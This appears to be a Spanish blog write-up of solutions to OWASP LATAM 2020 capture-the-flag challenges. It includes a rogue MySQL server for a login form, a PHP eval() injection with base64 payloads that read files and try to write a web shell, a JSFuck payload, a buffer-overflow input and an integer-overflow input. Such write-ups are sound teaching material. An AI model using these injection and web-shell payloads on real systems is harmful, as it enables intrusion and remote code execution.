Algunas notas personales sobre cómo resolví varios de los ejercicios de esta competencia. Pueden dejar comentarios en el foro Nuna o en el hilo de Twitter.
Ejercicio Web: Interno
Este es un ejercicio de web, nadie lo ha resuelto aún, así que debe ser difícil
Bueno, un formulario, voy a poner admin admin solo para ver.
0.0
¡Apareció mi IP pública! Puedo deducir que:
Ese formulario se está conectando a una DB MySQL y le pide usuario y contraseña. Pero el form. está configurado para usar la IP origen como BD.
Esto para nosotros es un gran plus ya que podemos controlarlo.
yo inspirado
Entonces tenemos que montarnos una DB que le dé lo que quiere (un usuario y contraseña que corresponda a lo que yo le ponga en el form) y ya tenemos el ejercicio.
Para probar esa idea, voy a Hetzner Cloud y pido una máquina con Ubuntu 18.04. Ahí instalare mi base de datos.
- Instalo tcpdump (para ver cómo queda), curl (para las peticiones) y mariadb-server.
- Configuro mariadb-server (/etc/mysql/mariadb.conf.d/50-server.cnf) con las opciones:
log-output = FILE
general_log
general_log_file = /var/log/mysql/mysql_query.log
para que TODOS los querys que le lleguen sean registrados.
Además abro todas las conexiones externas agregando esto también: bind-address = 0.0.0.0
Listo, ahora voy a encender tcpdump -i eth0 -n tcp port 3306 -w intentodeconexion.pcap
para tener registro de la negociación, y le pido al server remoto que inicie:
curl -v 'https://internal.ctf.owasplatam.org/login' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://internal.ctf.owasplatam.org' -H 'Referer: https://internal.ctf.owasplatam.org/' --data 'username=admin&password=admin'
He utilizado la consola web de Firefox, pestaña Red, click derecho en la petición POST y Copiar todo como CURL para tener un comando listo para copiar y pegar.
Listo, copio mi pcap a mi laptop y…
Bien, sabemos el usuario y la base de datos. La contraseña está hasheada y tienen un salt que la hace cambiar por cada intento de inicio de sesión, no vale la pena romperla. Pero la necesitamos de todas maneras, para que esa web pueda ingresar a nuestra trampa.
Una idea que tenía era forzar un Auth Plugin que mande la contraseña en texto plano, pero 1) podría habler problemas de negociación (el otro extremo tiene que aceptar y por defecto no sé si lo hace), y 2) recordé que para problemas de autenticación hay una mejor opción que se puede poner en /etc/mysql/mariadb.conf.d/50-server.cnf:
skip-grant-tables
Esta opción le dice a la DB que no cargue las tablas de privilegios, y que le dé acceso total al primero que pregunte, no importa qué password le dé o lo que el cliente haya pedido. Es muy útil para resetear contraseñas olvidadas.
Ya resuelto el problema de la password, ejecutamos el curl de nuevo y vemos el log de queries.
cat /var/log/mysql/mysql_query.log
...
200508 17:47:55 30 Connect [email protected] as anonymous on db_pepito
30 Query set autocommit=0
30 Query SELECT hash, salt from tbl_users WHERE username = 'admin'
Genial, ya sabemos la tabla que usa y los campos que tenemos que llenar.
# mysql
MariaDB [(none)]> create database db_pepito;
# mysql db_pepito
MariaDB [db_pepito]> create table tbl_users (username VARCHAR(100), hash VARCHAR(100), salt VARCHAR(100) )
MariaDB [db_pepito]> insert into table(username,hash,salt) values ('admin','$2y$10$NFZK6WXRY3fvz/lsy1UpMOo7r2lJcxiJncxoFbeKoq2A/sRn3yAU2n','');
Ok, no hay un campo de contraseña en texto plano, solo un campo de password y un salt. No sé como interactúan estos, asi que tengo que adivinar.
Haciendo una búsqueda de «tbl_users» en Google (por si el que hizo el script lo sacó de Internet) llegué a este viejo foro donde muestran algo de código de ejemplo usando una estrategia bien casera.
Si esto funciona, el campo hash tendría que ser
hash($password.$salt)
, donde el hash puede ser md5 o algún sha.
El campo salt debería ser cualquier cadena, yo usarémilanesa
por que aquí es hora de almorzar.
Como el hash debería estar quieto en la BD y la idea más básica de un salt es evitar ataques de diccionario, el hash en la BD ya debería tener el salt.
Voy al CyberChef, concateno las cadenas a mano y consigo esto: sha2('adminmilanesa') == 6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101
Estoy asumiendo que el otro extremo del sistema está usando sha256, podría estar usando otra cosa, sha512, sha1, md5, etc, pero probemos con esto primero.
MariaDB [db_pepito]> update tbl_users set hash='6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101', salt='milanesa';
Actualizo mi tabla y le pido al curl que revise.
¡Genial!
Comentarios
- Quizás no era necesario tener un salt. O sea, poner el salt a
''
, o sea una cadena vacía, y generar los hashes directamente de la contraseña. - En /static/app.js hay algo de código JS empaquetado con Packer. Buscando en internet
javascript depacker online
o algo así podemos obtener un código de formulario. Con esto, podemos enterarnos de la existencia de la cabeceraX-DB-Host
que nos servirá para invocar las peticiones desde nuestra máquina, pero que el sitio busque la base de datos en otra IP.
Como nosotros sabemos cURL, no lo hemos necesitado 🙂
LessOne
Ingresamos al problema. Hay un formulario, veremos cómo reacciona…
Hay un enlace de Source, y parece que nos da el código fuente del script.
Mmm, ahora hay que analizar el código y pensar.
Según la lógica del código, la variable loveme
(controlada por nosotros) debe ser igual a bin2hex(random_bytes(64))
o sea, una cadena aleatoria muy grande, algo que es imposible de conseguir. Quizás haya un random seed en algún lado que podamos explotar (probablemente en heart.php). Pero eso no nos ayuda, ya que de todas maneras tenemos que intervenir heart.php.
Supongamos que queremos obtener clandestinamente heart.php
. Necesitamos dos cosas:
- Lograr meter
heart.php
en el PHP_SELF (fácil) - Setear
$_GET['source']
(fácil) - Hacer que el regex guardián no salte. Esa está difícil.
Un ayudante crucial es basename
: esta función tratará de obtener un nombre de archivo de la dirección que se le dé. Si le damos index.php/holamundo/asdf.php
devolverá asdf.php
: eso nos asegura que podremos poner cualquier carácter antes del nombre final 🙂
Ahora estudiaremos la expresión regular en regex101.com y podemos probar algunas cadenas para entender mejor el alcance.
Si intentamos lo primero que se nos ocurra (poner heart.php al final, como en todos los ataques con PHP_SELF) el regex se dará cuenta y no funcionará.
… y si forzamos demasiado la cadena, no funcionará 🙁
Leyendo el regex descompuesto (regex101 ayuda mucho para entenderlos) vemos que este va a saltar si el string termina en heart.php o en heart.php/ (ambos casos cubiertos por basename
). Si le ponemos cosas al inicio y antes de /
no pasa nada (gracias a basename
) pero lo que pongamos al final afectará el nombre que highlight_file
recibirá y no funcionará.
Tenemos que encontrar
- Algo que no haga saltar al regex. O sea, no debemos terminar en / o dejarlo sin terminar.
- Si agregamos algún caracter raro,
basename
tiene que descartarlo sí o sí.
En algún ejercicio de CTF alguna vez vimos codificación de caracteres para pasarlas por URL, asi que investigamos: https://en.wikipedia.org/wiki/Percent-encoding y https://www.php.net/manual/es/function.basename.php.
Se puede pasarle un caracter como %20
que significa un espacio » «, pero basename no lo descarta.
Por otro lado leer esto en la web de PHP me dio interés:
Tengo un flashback: las versiones antiguas de PHP solo soportaban manipular texto ASCII. UTF-8 es mucho más grande, y para nosotros los latinos era normal tener que cambiar a mano funciones que trataban cadenas con sus pares que comenzaban con mb_ (multibyte) ya que podías matar las funciones básicas con una ñ.
Mmm, si pones caracteres Unicode basename
los borra. Esto nos viene muy bien.
Para lo de Percent Encoding no tenemos toda la tabla de caracteres Unicode a nuestra disposición, pero podemos probar con algún caracter del extremo final, que estamos seguros ya no será parte de ASCII.
Incidente Max Headroom
Tenemos un archivo: intruso.rar
. No tiene contraseña y dentro hay un video.
Perfil de mediaInfo:
General
Complete name : /net/looper/l10e/ctf/owasp2020/intruso.mp4
Format : MPEG-4
Format profile : Base Media / Version 2
Codec ID : mp42 (isom/mp42)
File size : 52.5 MiB
Duration : 1 min 17 s
Overall bit rate mode : Variable
Overall bit rate : 5 717 kb/s
Encoded date : UTC 2020-05-08 06:51:48
Tagged date : UTC 2020-05-08 06:51:48
Video
ID : 1
Format : AVC
Format/Info : Advanced Video Codec
Format profile : [email protected]
Format settings : CABAC / 2 Ref Frames
Format settings, CABAC : Yes
Format settings, Reference frames : 2 frames
Codec ID : avc1
Codec ID/Info : Advanced Video Coding
Duration : 1 min 16 s
Bit rate mode : Variable
Bit rate : 5 334 kb/s
Maximum bit rate : 6 000 kb/s
Width : 1 280 pixels
Height : 720 pixels
Display aspect ratio : 16:9
Frame rate mode : Constant
Frame rate : 29.970 (30000/1001) FPS
Standard : NTSC
Color space : YUV
Chroma subsampling : 4:2:0
Bit depth : 8 bits
Scan type : Progressive
Bits/(Pixel*Frame) : 0.193
Stream size : 49.0 MiB (93%)
Language : English
Encoded date : UTC 2020-05-08 06:51:48
Tagged date : UTC 2020-05-08 06:51:48
Color range : Limited
Color primaries : BT.709
Transfer characteristics : BT.709
Matrix coefficients : BT.709
Codec configuration box : avcC
Audio
ID : 2
Format : AAC LC
Format/Info : Advanced Audio Codec Low Complexity
Codec ID : mp4a-40-2
Duration : 1 min 17 s
Bit rate mode : Constant
Bit rate : 384 kb/s
Channel(s) : 2 channels
Channel layout : L R
Sampling rate : 48.0 kHz
Frame rate : 46.875 FPS (1024 SPF)
Compression mode : Lossy
Stream size : 3.49 MiB (7%)
Language : English
Encoded date : UTC 2020-05-08 06:51:48
Tagged date : UTC 2020-05-08 06:51:48
Mientras estaba por revisar cabeceras y estaba pensando por qué un viejo video tendría 384Kbps de bitrate de audio (eso es raro de ver), unos ruidos agudos por el segundo 40 asustaron a mi gato y ya me di cuenta de lo que podría ser.
Abro el archivo con Audacity.
Y esto? Puros símbolos
Abrimos la web y en el código fuente nos encontramos con un comentario sospechoso, que nos manda a /CTFuck?injection=
.
Naturalmente, tenemos que inventarnos un payload y ponerlo en injection
. Algo curioso, si no le respondes con alguna combinación que no forme parte de []()!
te muestra LAME :\ y te manda a volar investigar esolangs. Y como el payload lo pone en una variable JS investigué esolangs con JS y salió JSFuck!
http://www.jsfuck.com/
Ya tengo mi payload 🙂
(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]
Mis +
se borran y eso arruina todo. Pruebo de todo pero no consigo que los +
aparezcan. Intento esto por horas y me voy a dormir con la incógnita.
Al día siguiente, ya un poco más fresco:
Bien, parece que Firefox era el que estaba estorbando ¡Entonces mi navegador era el problema!
Reintenté con curl pero me mostró un error, y deduje «necesito formatear esto a un formato amigable web»
y ahora sí, ¡POR FIN!
Register Globals
Register Globals es una de esas características de PHP que le hicieron ganar esa fama de inseguro y excesivamente tolerante, maleducando a sus desarrolladores y generando molestias por parte de expertos en seguridad. Acá hay documentación de PHP sobre el tema.
En el reto nos mencionan que el programador lo ha «habilitado». Como el PHP en los retos es 7.4.x y esa rama ya no tiene código nativo para esta característica, pues es muy probable que este haya tenido que emular su comportamiento, y esto solo se puede hacer con eval()
, una función a la que podemos engañar 🙂
Una URL como https://rg.ctf.owasplatam.org/?home
nos devuelve una página web, y lo curioso es que si cambio aunque sea un poco eso, se rompe. Si mi idea de eval()
funciona, podría intentar ejecutar algún código.
https://rg.ctf.owasplatam.org/?home;die(phpinfo());
Con esto consigo poner un phpinfo. Descubro que funciones importantes como shell_exec, system, etc. están bloqueadas. Hay algunas funciones PHP peligrosas que nos interesarán probar.
Continúo probando. Cualquier cosa con comillas y caracteres raros se pierde: ¿habrá una función que manipule las comillas? Para evitarnos problemas usaremos base64.
Al parecer estoy abusando de una chapuza de PHP que hace que
$_GET[abcd]
se parsee como$_GET['abcd']
.
Recordemos que el primerabcd
oficialmente es el nombre de una constante y no una cadena, pero PHP es muy permisivo y siempre está dispuesto a perdonarte cuando haces las cosas mal (?Esto quiere decir que los
==
de un base64 no funcionarán y podrían romper todo, asi que en el cyberchef me cercioro de poner espacios al final como relleno y así no tener ningún=
.
Abro el CyberChef y me invento un payload:
y lo invoco así:
Con esto saco el código fuente del mismo PHP: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(ZWNobyBmaWxlX2dldF9jb250ZW50cygnaW5kZXgucGhwJyk7));/*
Intenté parasitar la web creándome un script php que haga de shellview-source:https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7ZmlsZV9wdXRfY29udGVudHMoJ2dyaXMucGhwJywnPHByZT4gPD9waHAgZWNobyBgJF9HRVRbMV1gPz4nKTsg));die();/*
y no funciona ya que el / es read-only. Bien pensado 🙂
Ya que no podemos usar shells ni poner nada, tenemos que convivir con lo que PHP nos da.
fopen
, fread
y cía están bloqueados, pero file_get_contents
no 😛 y eso nos ayudará a abrir los archivos.
Usando la función scandir
en la carpeta actual obtuve esto:
Array
(
[0] => .
[1] => ..
[2] => about.html
[3] => blog.html
[4] => home.html
[5] => index.php
[6] => menu.html
)
Mmm, la banders no está en la carpeta donde está el sitio.
Leamos el php.ini por si hay algo de interés: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7CmVjaG8gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGhwLzcuNC9jZ2kvcGhwLmluaScpOwpwcmludF9yKHNjYW5kaXIoJy9ldGMvcGhwLzcuNC9jZ2kvJykpOyAg));die();/*
Por casualidad, busco en /
y resulta que la bandera parece estar ahí, asi que me preparo para sacarla.
Pokemon
El reto te da un archivo jpg, con un montón de pokemones en fila.
Este reto fue horrible. Resulta que cada pokemon tiene un código, y ese código en la tabla ASCII revelaba los caracteres de la flag. Lo descubrí por una corazonada, convirtiendo los dos primeros iconos en códigos y de ahi encontrar o
y w
en la tabla ASCII.
Tuve que armar un lienzo cuadrado en GIMP, cargar la imagen e ir moviendo la capa de pokemones 1×1 para subir el resultado a Google Images. Previamente intenté partir la imagen con ImageMagick, pero no pude.
No soy fan de Google, pero si tú lo eres, Google Lens podría ayudarte a acelerar la búsqueda.
111 o Rhyhorn
119 w Seaking
97 a Hypno
115 s Kangaskhan
112 p Rhydon
123 { Scyther
110 n Weezing
111 o Rhyhorn
95 _ onyx
115 s Kangaskhan
97 a Hypno
108 l Lickitung
103 g exeggutor
97 a Hypno
115 s Kangaskhan
95 _ onyx
100 d Voltorb
101 e Electrode
95 _ onyx
116 t Horsea
117 u Seadra
95 _ onyx
99 c Kingler
a
s
a
_
p
a
114 r Tangela
a
_
c
a
122 z Mr Mime
a
r
_
p
o
k
e
m
o
n
e
s
}
Las posiciones que quedaron sin su nombre las fui adivinando.
Sexy RSA
{"e": 65537, "n": 143661224271538282934263411490131272603833456753971204235968279103542798004441302803974552848856883859791176354833291049666990863339471313555952337006896642145159415985219509121395148933379264849587146674313764289829160921545805590526977907932411553174889936556407801840449447588062279347458475415188345233147, "flag": 141558773390691288965402676524014435074675156738797831791561387645057829565951034489235458684038874149146627519073036556211386180235230454438582088874458409101773823442089606749138591877490582041051538244869420154887374417266871885445446547108665820004097304244493155210352922415845480819328175306416176528120}
Necesitamos factorizar n
en dos números primos. Por la longitud, no parece ser fácil de factorizar tradicionalmente, y eso nos empuja a pensar que hay una falla/vulnerabilidad/dejadez en su generación.
Para ese tipo de ataques no tenemos otra que recurrir a scripts, y por suerte tenemos uno que nos será muy útil: https://github.com/Ganapati/RsaCtfTool
Twinies (RSA)
Lo mismo. Acá necesité el paquete sagemath.
64+21
64+21 es 85. Esto nos hace acordar a Base85, que se ve como Base64 pero le agrega algunos caracteres más.
SHA1
Un problema raro, pero bueno…
No sabía nada de Python asi que aprendí a la fuerza Copypasteando algunas cosas armé esto:
import time
import string
import hashlib
ready = False
start = time.time()
n = 0
solved = False
quit = ""
# flag = "owasp{autor_color_pais_deporte}"
lautores = [ "yehuju", "alguien_tw", "perverthso", "tommoreno", "jere", "nico" ]
lcolores = ["amarillo","azul","blanco","cafe","celeste","cian","gris","lila","marron","morado","naranja","negro","plata","rojo","rosa","verde","violeta"]
lpaises = ["argentina","bolivia","brasil","chile","colombia","cuba","ecuador","costarica","elsalvador","guatemala","honduras","mexico","nicaragua","panama","paraguay","peru","uruguay","venezuela"]
ldeportes = ["atletismo","badminton","baloncesto","beisbol","boxeo","buceo","ciclismo","equitacion","esgrima","esqui","futbol","gimnasia","golf","judo","natacion","paracaidismo","parapente","polo","patinaje","surf","taekwondo","tenis","voleibol"]
candidatos = []
hashedflag = "0b27a389e4e8cef7ac346c932e45272156a72039"
ready = True
# llenaremos el array
for x in lautores:
for y in lcolores:
for z in lpaises:
for d in ldeportes:
candidatos.append("owasp{"+x+"_"+y+"_"+z+"_"+d+"}")
while not solved:
word = candidatos[n]
hashedGuess = hashlib.sha1(bytes(word, 'utf-8')).hexdigest()
print(word)
if hashedflag == hashedGuess:
solved = True
print('-Stats-')
print('Pass: ' + word)
print('Attempts: ' + str(n))
print('time: ' + str((time.time() - start)) + ' sec')
while quit != " QUIT":
quit = input('Type <QUIT> to quit')
else:
n += 1
¡y funcionó!
Just For Fun 2
Problema forense.
Tenemos un archivo: intento.img.gz
. Reviso su hexdump (no hay nada raro en los costados) y le diré a binwalk que extraiga lo que pueda -e
, y que lo haga recursivamente -M
.
~/Descargas/ctf >>> binwalk -eM intento.img.gz
Scan Time: 2020-05-09 10:18:49
Target File: /home/maverickp/Descargas/ctf/intento.img.gz
MD5 Checksum: 6d8e0670b96edefc109b94bf994fd9ce
Signatures: 391
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 gzip compressed data, has original file name: "intento.img", from Unix, last modified: 2020-05-09 01:38:46
Scan Time: 2020-05-09 10:18:49
Target File: /home/maverickp/Descargas/ctf/_intento.img.gz.extracted/intento.img
MD5 Checksum: 79fcefb37222921f562729ee818bb46e
Signatures: 391
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1048576 0x100000 Linux EXT filesystem, blocks count: 8976, image size: 9191424, rev 1.0, ext3 filesystem data, UUID=b26b376d-aa88-4850-9e05-a517a526a526
- Necesitamos
sleuthkit
para quebinwalk
pueda extraer la imagen ext4.- Otra forma de extraer archivos es usando
photorec
.- Si quieres montar esta imagen ext4 y esta parece dañada, prueba montando la imagen usando otro superbloque.
~/Descargas/ctf >>> find _intento.img.gz.extracted
_intento.img.gz.extracted
_intento.img.gz.extracted/intento.img.gz
_intento.img.gz.extracted/intento.img
_intento.img.gz.extracted/_intento.img.extracted
_intento.img.gz.extracted/_intento.img.extracted/100000.ext
_intento.img.gz.extracted/_intento.img.extracted/ext-root
_intento.img.gz.extracted/_intento.img.extracted/ext-root/.estoesunlio.png.swp
Ese archivo swp tiene truco: deja a entender que «estoesunlio.png» fue editado con VIM y que el .swp es un búfer que vim dejó y no pudo cerrar. Podemos buscar cómo restaurarlo com vim -r
, pero este niega poder hacerlo.
Necesitamos ver qué tiene el archivo por dentro. Para poder tener noción de la estructura, necesitamos ver también un PNG sano, no importa cualquiera.
~/Descargas/ctf >>> hexdump -C _intento.img.gz.extracted/_intento.img.extracted/ext-root/.estoesunlio.png.swp | head
00000000 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 ce |........IHDR....|
00000010 00 00 01 cc 08 06 00 00 00 04 42 f1 7a 00 00 00 |..........B.z...|
00000020 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b |.pHYs..........+|
00000030 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 |......tEXtSoftwa|
00000040 72 65 00 67 6e 6f 6d 65 2d 73 63 72 65 65 6e 73 |re.gnome-screens|
00000050 68 6f 74 ef 03 bf 3e 00 00 20 00 49 44 41 54 78 |hot...>.. .IDATx|
00000060 9c ec dd 79 58 55 d5 e2 c6 f1 2f 0e e7 38 00 2a |...yXU..../..8.*|
00000070 83 03 20 26 98 0a a9 e8 4d b1 cc 79 40 73 4a d1 |.. &....M..y@sJ.|
00000080 4c cd d4 ac 9c ae 8a 63 39 e6 3c e4 ac e4 90 d7 |L......c9.<.....|
00000090 4c d3 44 cb e9 aa 39 95 f3 f0 53 a9 84 34 41 4b |L.D...9...S..4AK|
~/Descargas/ctf >>> hexdump -C ../logo.png | head
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 01 f4 00 00 01 f4 08 06 00 00 00 cb d6 df |................|
00000020 8a 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 |.....gAMA......a|
00000030 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 |.... cHRM..z&...|
00000040 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea |...........u0...|
00000050 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 |`..:....p..Q<...|
00000060 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 |.bKGD...........|
00000070 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 |...pHYs...#...#.|
00000080 78 a5 3f 76 00 00 00 07 74 49 4d 45 07 e3 07 15 |x.?v....tIME....|
00000090 0b 11 05 a6 05 80 4f 00 00 80 00 49 44 41 54 78 |......O....IDATx|
Algo llamativo fue que los magic numbers no coincidían. La estructura del resto del archivo era similar (lo cual descarta byte swaps, cifrados como XOR o cambio de endianidad), pero más tarde me di cuenta que a nuestro archivo no le habían cambiado los magic numbers: se los habian quitado.
Instalé rápidamente el primer editor hexadecimal que vi en Internet y le puse los magic numbers que faltaban: 89 50 4E 47
.
Y conseguimos recuperar el archivo.
No tan distintos
Nos dan un pcap que abrimos con Wireshark. Como suelen estar llenos de ruido (en los CTF tenemos que asumir que los pcaps siempre estarán llenos de basura y no nos servirá recorrerlos a mano) tenemos que aprender a usar filtros.
Revisando muy rápidamente a mano vemos algún tráfico HTTP.
vemos que han iniciado sesión con una contraseña Pa$$word4web.
y piden un archivo que podemos extraer con Export Packet Bytes.
pero ese archivo tiene password 🙁
~/Descargas/ctf >>> unzip flag.zip
Archive: flag.zip
[flag.zip] flag.txt password:
skipping: flag.txt incorrect password
Las passwords anteriores no sirven, asi que continuamos revisando el pcap. Mientras veo un paquete HTTP sospechoso al final, quito el filtro y me entero que hay tráfico de otro tipo: FTP.
La negociación FTP es sencilla y podemos verla directamente desde ls lista de paquetes.
la contraseña es Pa$$word4ftp.
ahora, y la sesión deja entender que la primera contraseña y esta están relacionadas, y acordándome de otro CTF, podríamos intentar seguir ese patrón con el zip.
~/Descargas/ctf >>> unzip flag.zip
Archive: flag.zip
[flag.zip] flag.txt password: Pa$$word4zip.
extracting: flag.txt
~/Descargas/ctf >>> cat flag.txt
owasp{los_admins_y_sus_patrones_de_password}%
Over Easy (Buffer Overflow)
Este problema es de Buffer Overflow.
Esta vez, gracias a que tenemos el código fuente, podemos entender lo que hace el programa y cómo podemos atacarlo.
Este es el programa: (le hice una modificación menor)
/*
gcc -fno-stack-protector over_easy.c -o over_easy -m32 -no-pie
*/
#include <stdlib.h>
#include <stdio.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
int cookie;
char buf[80] = "Hola, bienvenido al OWASP LATAM Tour!!!\n\n";
printf(buf);
printf("buf esta en %08x y cookie en %08x\n y la flag es....\n", &buf, &cookie);
printf("give me your input!!! ");
gets(buf);
printf("cookie=%08x", cookie);
if (cookie == 0x41424344)
{
setreuid(geteuid(), geteuid());
printf("\nLa flag es: ");
fflush(stdout);
system("/bin/cat flag");
}
}
Ejecutemos el programa:
~/Descargas/ctf >>> ../over_easy
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en ff85932c y cookie en ff85937c
y la flag es....
give me your input!!! lol
El programa al ejecutarse nos pide que ingresemos algo. Yo agrego algo random y el programa termina sin más.
Leyendo el código veo que la entrada se guarda en la variable buf (que tiene como tamaño fijo 80 caracteres). Y por las direcciones que se muestran, puedo deducir el tamaño de buf desde el exterior: (0xff85932c-0xff85937c) == (0x50) == (80)
Viendo la fuente, el reto nos pide que escribamos ‘ABCD’ en cookie
y como este va después de buf
, entonces tenemos que conseguir desbordar buf
. buf
tiene 80 caracteres (los cuales rellenaremos con A
), asi que tenemos que escribir 84 siendo estos 4 últimos ‘ABCD’:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
El primer intento no funciona:
~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en ff8a405c y cookie en ff8a40ac
y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
No sé como estara cookie
, asi que edito mi copia en C del programa, le agrego un printf para ver qué tiene cookie
y lo ejecuto en mi máquina:
~/Descargas/ctf >>> ../over_easy
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en fff0eccc y cookie en fff0ed1c
y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
cookie=44434241%
Mmm, tenía que salir 41424344 pero sale 44434241. Quizás un byte swap? O algo que no haya considerado? Como tenemos prisa, cambiaremos el orden a mano.
Cambio el orden y ahora queda así: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005
Hola, bienvenido al OWASP LATAM Tour!!!
buf esta en ffa0412c y cookie en ffa0417c
y la flag es....
give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
La flag es: owasp{tu_primer_buffer_overflow?}
Si, fue mi primer buffer overflow que hice a mano 🙂
Into the flow
Otro ejercicio divertido, pero este es integer overflow.
Esta es la fuente:
/*
gcc -fno-stack-protector intover.c -o intover
*/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void check(int n)
{
if (!n){
setreuid(geteuid(), geteuid());
printf("[+] Logrado \n");
printf("\nLa flag es: ");
fflush(stdout);
system("/bin/cat flag");
}
else
printf("nop, el número %d no era...\n", n);
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Hola, bienvenido al OWASP LATAM Tour\n");
printf("Adiviná en que número estoy pensando? ");
long int a;
scanf("%ld", &a);
if (a == 0)
printf("Sin trampas...\n");
else
check(a);
return 0;
}
Para no hacer largo el cuento, hay varios detalles que llaman la atención:
- el número que debemos envenenar pasa por main como
long int
pero pasa por check comoint
👀 - el
if(!n)
de check(n) no se entiende a un principio, pero podemos desdoblarlo aif(n==0)
y esto nos ayuda a entender mejor.
Leyendo sobre límites en C, vemos que necesitamos un número que:
- Sobrepase
int
- Que no sobrepase
long int
, y - Que en
int
sea 0.
~/Descargas/ctf >>> nc intover.ctf.owasplatam.org 10003
Hola, bienvenido al OWASP LATAM Tour
Adiviná en que número estoy pensando? 4294967296
[+] Logrado
La flag es: owasp{!s_4n_integ3r_overfl0w!!}
¡Gracias por leer!